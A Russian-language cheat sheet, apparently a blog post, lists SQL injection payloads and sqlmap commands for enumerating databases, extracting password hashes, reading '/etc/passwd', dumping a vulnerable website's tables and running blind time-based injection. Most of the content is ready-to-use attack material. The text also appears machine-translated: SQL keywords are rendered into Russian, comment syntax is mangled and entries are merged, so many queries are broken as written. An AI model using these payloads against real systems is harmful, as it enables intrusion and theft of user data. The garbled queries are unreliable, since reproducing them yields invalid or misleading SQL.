Памятка по SQL-инъекциям

Опубликовано: 9 Января, 2023

SQL-инъекция — это распространенная уязвимость в веб-приложениях, которую можно использовать для внедрения вредоносного кода SQL в базу данных. Злоумышленник, знающий правильный синтаксис для внедрения команд SQL в серверную часть приложения, может использовать это для выполнения несанкционированных или деструктивных действий от имени целевого пользователя. Этичный хакер всегда должен проверять и выявлять потенциальные уязвимости SQL-инъекций, поскольку они являются одной из наиболее часто используемых атак в современном цифровом мире.

Вся цель Шпаргалки состоит в том, чтобы предоставить вам несколько быстрых и точных готовых к использованию команд и необходимых запросов Sqlmap, которые помогут вам с SQL-инъекциями.

Основы SQL:

С. Нет.

Параметры

SQL-запросы/примеры

1.

Версия

ВЫБЕРИТЕ @@версию;

2.

Комментарии

/ / ОУ #

3.

Текущий пользователь

ВЫБЕРИТЕ пользователя (); || ВЫБЕРИТЕ системный_пользователь()

4.

Список пользователей

ВЫБЕРИТЕ пользователя ИЗ mysql.user;

5.

Список хэшей паролей

ВЫБЕРИТЕ хост, пользователя, пароль ОТ mysql.user;

6.

Текущая база данных

ВЫБЕРИТЕ базу данных ()

7.

Список баз данных

ВЫБЕРИТЕ имя_схемы ИЗ information_schema.schemata; || ВЫБЕРИТЕ отдельный (дБ) ИЗ mysql.db

8.

Список таблиц

ВЫБЕРИТЕ table_schema, table_name FROM information_schema.tables, ГДЕ table_schema != 'mysql' AND table_schema != 'information_schema'

9.

Список столбцов

ВЫБЕРИТЕ table_schema, table_name, column_name FROM information_schema.columns, ГДЕ table_schema != 'mysql' AND table_schema != 'information_schema'

10.

Найти таблицы по имени столбца

ВЫБЕРИТЕ table_schema, table_name FROM information_schema.columns WHERE column_name = 'username';

11.

Временная задержка

ВЫБЕРИТЕ ЭТАЛОН (1000000, MD5 ('A')); ВЫБЕРИТЕ СОН (5); # >= 5.0.12

12.

Локальный доступ к файлам

ОБЪЕДИНЕНИЕ ВСЕ ВЫБРАТЬ LOAD_FILE('/etc/passwd')

13.

Имя хоста/IP-адрес

ВЫБЕРИТЕ @@имя хоста;

14.

Создать пользователя

СОЗДАТЬ ПОЛЬЗОВАТЕЛЬСКОГО ПОЛЬЗОВАТЕЛЯ test1, ОПРЕДЕЛЕННОГО 'pass1';

15.

Удалить пользователя Расположение файла db

ВЫБЕРИТЕ @@datadir;

Основные команды SQLMap:

С. Нет

Параметры

Синтаксис запросов SQLMap

1.

Атака на базу данных уязвимого веб-сайта

sqlmap -u «Уязвимый URL» -dbs

2.

Получить таблицы из базы данных уязвимого веб-сайта

sqlmap -u «Уязвимый URL-адрес» -table -D [имя базы данных]

3.

Чтобы получить столбцы таблицы на уязвимом веб-сайте

sqlmap -u «Уязвимый URL» -columns -D [имя базы данных] -T [имя таблицы]

4.

Сбросить все значения таблицы Vulnerable Website

sqlmap -u «Уязвимый URL-адрес» -dump -D [имя базы данных] -T [имя таблицы]

Атаки вручную на SQLMap:

С. Нет. Параметры атаки вручную Запросы/примеры SQLMap
1. Быстрое обнаружение целых чисел выберите 1 и строку (1,1)> (выберите количество (), concat (CONCAT (@@VERSION), 0x3a, пол (rand () 2)) x из (выберите 1 объединение выберите 2) группу по x предел 1 ))
2. Быстрое обнаружение STRINGS '+(выбрать 1 и строку(1,1)>(выбрать count(),concat(CONCAT(@@VERSION),0x3a,floor(rand()2))x from (выбрать 1 объединение выбрать 2)группу по х предел 1))+'
3. Очистить тест SQL product.php?id=4 product.php?id=5-1 product.php?id=4 ИЛИ 1=1 product.php?id=-1 ИЛИ 17-7=10
4. Слепая SQL-инъекция SLEEP(25)– SELECT BENCHMARK(1000000,MD5('A'));
5. Образец реального мира ProductID=1 ИЛИ SLEEP(25)=0 LIMIT 1 – ProductID=1) ИЛИ SLEEP(25)=0 LIMIT 1 – ProductID=1′ ИЛИ SLEEP(25)=0 LIMIT 1 – ProductID=1′) ИЛИ SLEEP(25 )=0 LIMIT 1– ProductID=1)) OR SLEEP(25)=0 LIMIT 1– ProductID=SELECT SLEEP(25)–

Вы также можете узнать больше о SQL-инъекциях из статьи: Как использовать SQLMAP для проверки веб-сайта на уязвимость SQL-инъекций.

SQL